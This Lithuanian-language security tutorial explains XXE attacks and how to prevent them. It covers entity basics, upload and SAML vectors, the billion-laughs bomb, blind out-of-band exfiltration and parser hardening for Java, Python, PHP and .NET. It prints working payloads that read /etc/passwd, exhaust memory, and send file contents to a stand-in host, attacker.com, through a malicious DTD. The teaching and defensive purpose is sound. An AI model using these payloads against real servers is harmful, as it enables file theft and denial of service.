Kas tai per žvėris – XXE ataka?
Kai pirmą kartą susiduri su XXE (XML External Entity) ataka, gali atrodyti, kad tai kažkoks egzotiškas kibernetinio saugumo terminas, kurį sugalvojo nuobodžiaujantys pentesteriai. Tačiau realybė kur kas rimtesnė – tai viena iš tų pažeidžiamumų, kuri reguliariai patenka į OWASP Top 10 sąrašą ir gali sukelti tikrą chaosą jūsų sistemoje.
XXE atakos išnaudoja tai, kaip XML parseris apdoroja išorinius objektus (entities). Paprastai tariant, jei jūsų aplikacija priima XML duomenis ir nepakankamai kruopščiai juos tikrina, užpuolikas gali įterpti specialiai paruoštą XML kodą, kuris priverčia serverį atlikti dalykus, kurių jis tikrai neturėtų daryti. Tai gali būti failų skaitymas iš serverio, vidinių sistemų skenavimas ar net serverio išjungimas.
Problema ta, kad daugelis programuotojų net nežino, jog jų naudojamos bibliotekos pagal nutylėjimą leidžia apdoroti išorinius objektus. Tai tarsi paliktumėte duris atrakintas, nes net nežinojote, kad jos turi spyną.
Kaip veikia XML external entities?
Kad suprastume ataką, pirmiausia reikia suprasti, kas yra XML objektai. XML specifikacija leidžia apibrėžti objektus – tai tarsi kintamieji XML dokumente. Pavyzdžiui, galite apibrėžti objektą &company;, kuris reiškia „Mano Įmonė”, ir vėliau jį naudoti visame dokumente.
Dalykas tampa įdomus, kai kalbame apie išorinius objektus. Jie leidžia nurodyti, kad objekto reikšmė turėtų būti paimta iš išorinio šaltinio – failo, URL ar net sistemos resurso. Štai kaip tai atrodo:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>
Jei serveris apdoroja šį XML be tinkamų apsaugų, jis perskaitys /etc/passwd failą ir grąžins jo turinį atsakyme. Taip, tai tikrai taip paprasta. Ir taip, tai tikrai taip baisu.
Bet tai tik viršūnė ledkalnio. Išoriniai objektai gali būti naudojami įvairiems dalykams: SSRF (Server-Side Request Forgery) atakoms, DoS atakoms naudojant „billion laughs” techniką, ar net RCE (Remote Code Execution) tam tikrose konfigūracijose.
Realūs XXE atakų scenarijai
Pažiūrėkime į kelis realius scenarijus, kur XXE gali pasirodyti. Pirmas ir akivaizdžiausias – tai REST API, kuris priima XML formato duomenis. Tarkime, turite endpoint’ą, kuris priima produkto informaciją XML formatu. Programuotojas parašė kodą, kuris tiesiog parsina gautą XML ir išsaugo duomenis į duomenų bazę. Jei parseris nėra tinkamai sukonfigūruotas, tai atviros durys XXE atakai.
Kitas įdomus scenarijus – failų įkėlimas. Daugelis aplikacijų leidžia įkelti dokumentus – DOCX, XLSX, SVG failus. Žinote, kas bendro tarp visų šių formatų? Jie visi yra XML pagrindu. DOCX failas iš esmės yra ZIP archyvas su XML failais viduje. Jei jūsų aplikacija apdoroja šiuos failus serverio pusėje (pavyzdžiui, generuoja thumbnails ar ekstraktuoja metaduomenis), ji gali būti pažeidžiama XXE atakoms.
Dar vienas dažnai pamirštamas vektorius – SAML autentifikacija. SAML naudoja XML žinutes autentifikacijai, ir jei SAML biblioteka netinkamai sukonfigūruota, užpuolikas gali įterpti XXE payload į SAML response. Tai ypač pavojinga, nes SAML dažnai naudojamas enterprise aplinkose su prieiga prie jautrių sistemų.
Viename projekte mačiau situaciją, kur XXE buvo galima išnaudoti per RSS feed parser’į. Aplikacija leido vartotojams pridėti RSS feed URL’us, kuriuos serveris parsindavo ir rodydavo turinį. Problema ta, kad užpuolikas galėjo kontroliuoti RSS feed turinį ir įterpti XXE payload. Serveris maloniai perskaitė /etc/passwd ir įtraukė jį į savo duomenų bazę.
Billion laughs ir kiti DoS variantai
Ne visos XXE atakos yra apie duomenų vagystę. Viena iš įdomiausių (ir bauginančiausių) XXE variacijų yra „Billion Laughs” ataka, dar žinoma kaip XML bomb. Tai DoS ataka, kuri išnaudoja rekursyvius XML objektus.
Štai supaprastintas pavyzdys:
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <lolz>&lol4;</lolz>
Kai parseris bando išskleisti šiuos objektus, kiekvienas lygis padidina duomenų kiekį dešimt kartų. Keliuose lygiuose tai virsta eksponentiniu augimu, kuris gali suėsti visą serverio atmintį per kelias sekundes. Mačiau serverius, kurie užstrigo bandydami apdoroti 200 baitų XML failą.
Kitas DoS variantas – external entity expansion su dideliais failais ar lėtais tinklo resursais. Užpuolikas gali nurodyti objektą, kuris rodo į gigabaitų dydžio failą arba į lėtai atsakantį serverį. Tai gali užblokuoti serverio resursus ir padaryti aplikaciją neprieinamą kitiems vartotojams.
Blind XXE – kai nematai rezultato
Dabar tampa tikrai įdomu. Kas nutinka, kai aplikacija apdoroja jūsų XML, bet negrąžina jokio rezultato? Ar tai reiškia, kad esate saugūs? Ne taip greitai.
Blind XXE atakos yra tos situacijos, kai užpuolikas negali tiesiogiai matyti išorinio objekto turinio atsakyme, bet vis tiek gali išnaudoti pažeidžiamumą. Vienas populiarus metodas – out-of-band (OOB) data exfiltration. Užpuolikas gali priversti serverį siųsti duomenis į savo kontroliuojamą serverį.
Štai kaip tai veikia praktiškai:
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>
O evil.dtd faile:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all;
Kai serveris apdoroja šį XML, jis pirmiausia nuskaito /etc/hostname, tada įkelia užpuoliko DTD failą, kuris sukonstruoja URL su failo turiniu ir išsiunčia užklausą į užpuoliko serverį. Užpuolikas mato duomenis savo serverio loguose.
Kitas blind XXE aptikimo metodas – error-based. Jei aplikacija rodo XML parsing klaidas, užpuolikas gali priversti serverį įtraukti jautrių duomenų turinį į klaidos pranešimą. Tai ne toks patikimas metodas, bet kai kuriose situacijose veikia puikiai.
Kaip apsisaugoti nuo XXE atakų
Gerai, gana baidymo. Kalbėkime apie tai, kaip realiai apsisaugoti nuo šių atakų. Pirmas ir svarbiausias dalykas – išjunkite išorinių objektų apdorojimą jūsų XML parseryje. Daugelis moderniųjų XML bibliotekų turi tai įjungta pagal nutylėjimą dėl atgalinės suderinamumo priežasčių, bet jums to tikrai nereikia 99% atvejų.
Štai kaip tai padaryti populiariausiose platformose:
Java (DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Python (lxml):
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) doc = etree.parse(source, parser)
PHP:
libxml_disable_entity_loader(true);
.NET:
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings);
Bet tai tik techninis aspektas. Yra ir kitų svarbių dalykų. Pirma, apskritai apsvarstykit, ar jums reikia priimti XML. Jei galite naudoti JSON, tai daug saugesnė alternatyva (bent jau šio tipo atakoms). Žinau, kad kartais neturite pasirinkimo – legacy sistemos, trečiųjų šalių integracija ir panašiai – bet jei galite rinktis, rinkitės JSON.
Antra, jei privalote naudoti XML, naudokite validaciją. Apibrėžkite griežtą XML schemą (XSD) ir validuokite visus gaunamus dokumentus prieš juos apdorodami. Tai neapsaugos jūsų nuo XXE, jei parseris netinkamai sukonfigūruotas, bet pridės papildomą apsaugos sluoksnį.
Trečia, naudokite mažiausių privilegijų principą. Jei jūsų aplikacija veikia su privilegijuota paskyra, XXE ataka gali pasiekti daug daugiau nei turėtų. Užtikrinkite, kad aplikacija veiktų su minimaliomis teisėmis, reikalingomis jos funkcijai atlikti.
Testavimas ir aptikimas
Kaip žinoti, ar jūsų aplikacija pažeidžiama XXE? Pirmiausia, atlikite kodo peržiūrą. Ieškokite visų vietų, kur jūsų aplikacija parsina XML. Tai gali būti ne taip akivaizdu, kaip manote – prisiminkite apie DOCX, XLSX, SVG failus, SAML, SOAP, RSS feeds ir kitus XML pagrįstus formatus.
Kai rasite XML parsing vietą, patikrinkite, kaip sukonfigūruotas parseris. Ar išjungti išoriniai objektai? Ar išjungtas DTD apdorojimas? Jei ne, turite problemą.
Praktiniam testavimui galite naudoti įvairius payload’us. Pradėkite nuo paprasto:
<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><data>&xxe;</data></root>
Jei tai neveikia (aplikacija negrąžina rezultato), pabandykite blind XXE su OOB technikomis. Galite naudoti Burp Collaborator ar panašius įrankius, kurie suteikia jums unikalų subdomain’ą ir leidžia matyti, ar serveris bandė prie jo prisijungti.
Automatizuotam testavimui galite naudoti įrankius kaip Burp Suite Professional (su aktyviuoju skanavimo moduliu), OWASP ZAP, ar specializuotus XXE testavimo įrankius. Bet nepasitikėkite vien automatizuotais įrankiais – jie gali praleisti sudėtingesnius atvejus.
Dar vienas svarbus aspektas – testuokite ne tik akivaizdžius XML endpoint’us. Testuokite failų įkėlimo funkcionalumą su specialiai paruoštais DOCX ar SVG failais. Testuokite bet kokią funkciją, kuri gali apdoroti XML serverio pusėje, net jei tai nėra akivaizdžiai matoma vartotojo sąsajoje.
Ką daryti, kai randi XXE savo sistemoje
Tarkime, atlikote auditą ir radote XXE pažeidžiamumą. Nepanikuokite, bet ir nevilkinkite. Pirmas žingsnis – įvertinkite riziką. Ar ši funkcija prieinama neautentifikuotiems vartotojams? Ar serveris turi prieigą prie jautrių duomenų? Ar yra kitų apsaugos mechanizmų (firewall’ai, network segmentation), kurie galėtų sumažinti riziką?
Greitas laikinas sprendimas – jei įmanoma, išjunkite problemišką funkciją, kol pataisysite pažeidžiamumą. Žinau, kad tai ne visada įmanoma production aplinkoje, bet jei rizika didelė, tai gali būti būtina.
Ilgalaikis sprendimas – pataisykite XML parserio konfigūraciją, kaip aprašyta anksčiau. Bet neužtenka tiesiog pataisyti vieną vietą – turite rasti visas vietas, kur jūsų aplikacija parsina XML, ir pataisyti jas visas. Tai gali būti iššūkis didelėse aplikacijose su daug priklausomybių.
Po pataisos, atlikite išsamų testavimą. Patikrinkite ne tik tai, kad XXE ataka nebepavyksta, bet ir tai, kad nepažeidėte normalios funkcionalumo. Kai kurios aplikacijos tikrai naudoja teisėtus išorinius objektus (nors tai reta), ir jų išjungimas gali sukelti problemų.
Galiausiai, dokumentuokite, ką radote ir ką padarėte. Tai padės ateityje, kai kitas programuotojas pridės naują XML apdorojimo funkciją ir galės išvengti tos pačios klaidos. Dar geriau – įtraukite XXE prevenciją į savo secure coding gaires ir code review procesą.
Kai XXE susitinka su realiuoju pasauliu
Baigiant, norisi pabrėžti, kad XXE nėra tik teorinė problema ar CTF iššūkis. Tai reali grėsmė, kuri paveikė daug žinomų įmonių. Facebook, Google, Apple – visi yra mokėję bug bounty už XXE pažeidžiamumus. Kai kurios atakos leido pasiekti vidinių failų turinį, kitos – atlikti SSRF atakas prieš vidines sistemas.
Įdomus atvejis buvo su viena e-commerce platforma, kur XXE buvo rastas SVG failų apdorojime. Vartotojai galėjo įkelti SVG logotipus savo parduotuvėms, ir sistema generuodavo įvairių dydžių versijas. Užpuolikas įkėlė specialiai paruoštą SVG su XXE payload ir sugebėjo perskaityti serverio konfigūracijos failus, kuriuose buvo duomenų bazės kredencialai.
Kitas atvejis – enterprise SAML implementacija, kur XXE leido užpuolikui gauti prieigą prie vidinių dokumentų. Kadangi SAML naudojamas autentifikacijai, niekas negalvojo, kad tai gali būti atakos vektorius. Bet užpuolikas sugebėjo modifikuoti SAML response ir įterpti XXE payload, kuris buvo apdorotas serverio pusėje.
Moralas paprastas – XXE yra reali problema, kurią reikia rimtai vertinti. Tai nėra kažkas, ką galite ignoruoti ir tikėtis, kad niekas to neišnaudos. Užpuolikai aktyviai ieško XXE pažeidžiamumų, ir jei jūsų aplikacija jų turi, greičiausiai kas nors jas ras.
Tad ką daryti? Pirmiausia, auditokite savo kodą. Raskite visas vietas, kur apdorojate XML. Patikrinkite, ar parseris tinkamai sukonfigūruotas. Jei ne – pataisykite dabar, ne po to, kai kas nors išnaudos pažeidžiamumą. Įtraukite XXE testavimą į savo saugumo testavimo procesą. Ir svarbiausia – mokykite savo komandą apie šią problemą. Dauguma XXE pažeidžiamumų atsiranda ne dėl to, kad programuotojai yra neatsargūs, o dėl to, kad jie tiesiog nežino apie šią riziką.
XXE gali atrodyti kaip sudėtinga techninė problema, bet jos sprendimas yra gana paprastas – tiesiog išjunkite funkcionalumą, kurio jums nereikia. Dauguma aplikacijų niekada nenaudoja išorinių XML objektų teisėtiems tikslams, tad jų išjungimas neturėtų sukelti jokių problemų. Ir jei kada nors abejojate – geriau būti per daug atsargiam nei per mažai.
